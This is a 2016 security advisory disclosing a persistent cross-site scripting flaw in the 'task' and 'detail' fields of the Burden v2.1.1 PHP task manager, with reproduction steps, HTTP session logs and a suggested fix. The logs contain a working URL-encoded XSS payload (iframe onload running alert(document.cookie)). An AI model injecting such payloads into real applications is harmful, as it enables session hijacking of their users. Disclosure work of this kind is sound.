Document Title:
===============
Burden TMA v2.1.1 - (Task) Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1998


Release Date:
=============
2016-11-26


Vulnerability Laboratory ID (VL-ID):
====================================
1998


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
Burden is a full featured task management app written in PHP. The script provides an easy way to add, edit or delete tasks. 
Tasks are highlighted in different colours depending on their importance and whether or not they are overdue. Each task can 
also be marked as completed or incomplete. Full sorting and task searching is also included. Please note Burden uses the 
UK date format of DD/MM/YYYY.

(Copy of the Homepage: https://github.com/joshf/Burden/releases/2.1.1 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered persistent input validation web vulnerability in the Burden v2.1.1 task management application.


Vulnerability Disclosure Timeline:
==================================
2016-11-07:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Josh F.
Product: Burden - Task Management Application (CMS) 2.1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered  in the Burden v2.1.1 task management application.
The vulnerability allows remote attackers to inject own malicious script code to the vulnerable module or functions.

The input validation web vulnerability is located in the `task` and `detail` parameters of the `Add` module. Remote attackers 
are able to inject own malicious script code via `Add` POST method request to manipulate the index listing of the task. 
The web validation of the application list is not secure parsed and allows to execute the malicious script codes. The injection 
point are the details and task input fields and the execution point occurs in the task list on preview.

The security risk of the vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the persistent validation vulnerability requires no user interaction and a low privilege web-application user account.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.


Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add Task

Vulnerable Parameter(s):
[+] task
[+] detail

Affected Module(s):
[+] Task List


Proof of Concept (PoC):
=======================
The persistent validation vulnerability can be exploited by local attackers with access to the task application with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Inject:
http://burden.localhost:8000/burden/worker.php

Execute:
http://burden.localhost:8000/burden/index.php


Manual steps to reproduce the vulnerability ...
1. Open the task management application
2. Add a new task to the index
3. Inject a payload in the task name and details input fields and save by processing via POST
4. Refresh the index list and the payload executes within the item list context
5. Successful reproduce of the input validation vulnerability!


PoC: Vulnerable Source
<div class="container">
<div class="page-header">
<h1>Tasks
<small>Current</small></h1></div><div class="notifications top-right"></div><noscript><div class="alert alert-info">
<h4 class="alert-heading">Information</h4><p>Please enable JavaScript to use Burden. For instructions on how to do this, 
see <a href="http://www.activatejavascript.org" class="alert-link" target="_blank">here</a>.</p></div></noscript>
<ul class="list-group"><li class="list-group-item" id="1">
<span class="details" data-id="1">>"<[MALICIOUS SCRIPT CODE EXECUTION POINT VIA TASK NAME & DETAILS INPUT]></span>
<div class="pull-right"><span class="label label-danger" data-id="1">05-11-2016</span> <span class="edit glyphicon 
glyphicon-edit" data-id="1"></span> <span class="complete glyphicon glyphicon-ok" data-id="1"></span></div></li></ul>
<button type="button" id="launchaddmodal" class="btn btn-default">Add</button><br><br>
<div class="alert alert-info"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>
<strong>Info:</strong> High priority tasks are highlighted yellow, completed tasks green, tasks due today in blue and 
overdue tasks red.</div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://burden.localhost:8000/burden/worker.php 
Mime Type[text/html]
   Request Header:
      Host[burden.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[*/*]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://burden.localhost:8000/burden/index.php]
      Cookie[burdenupdatecheck=1478378136; g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542; _pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D; _pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light; fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315; sweetrice=pivnlb7shfokqhi1fdsi1s4qb3]
      Connection[keep-alive]
   POST-Daten:
      task[%3E%22%3Cimg+src%3D%22x%22%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E]
      details[%3E%22%3Cimg+src%3D%22x%22%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E]
      due[05-11-2016]
      category[none]
      newcategoryforaddform[]
      action[add]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
-
Status: 200[OK]
GET http://burden.localhost:8000/burden/index.php
Mime Type[text/html]
   Request Header:
      Host[burden.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://burden.localhost:8000/burden/settings.php]
      Cookie[burdenupdatecheck=1478378136; g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542; _pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D; _pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light; fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315; sweetrice=pivnlb7shfokqhi1fdsi1s4qb3]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
      Cache-Control[max-age=0]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[burdenupdatecheck=1478378168; expires=Sat; Max-Age=604800]
-
Status: 200[OK]
GET http://burden.localhost:8000/burden/x[MALICIOUS EXECUTION POINT!]
Mime Type[text/html]
   Request Header:
      Host[burden.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://burden.localhost:8000/burden/index.php]
      Cookie[burdenupdatecheck=1478378168; g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542; _pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.; _pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D; _pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light; fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315; sweetrice=pivnlb7shfokqhi1fdsi1s4qb3]
      DNT[1]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html; charset=iso-8859-1]
      Transfer-Encoding[chunked]
      Connection[keep-alive]


Reference(s):
http://burden.localhost:8000/
http://burden.localhost:8000/burden/
http://burden.localhost:8000/burden/index.php
http://burden.localhost:8000/burden/worker.php


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the task and details parameters in the add to create post method request.
Disallow the usage of special chars and filter the input to prevent further injection attacks. Encode the output location to 
prevent the execution point of the issue to resolve the vulnerability.


Security Risk:
==============
The security risk of the persistent input validation vulnerability in the tma web-application is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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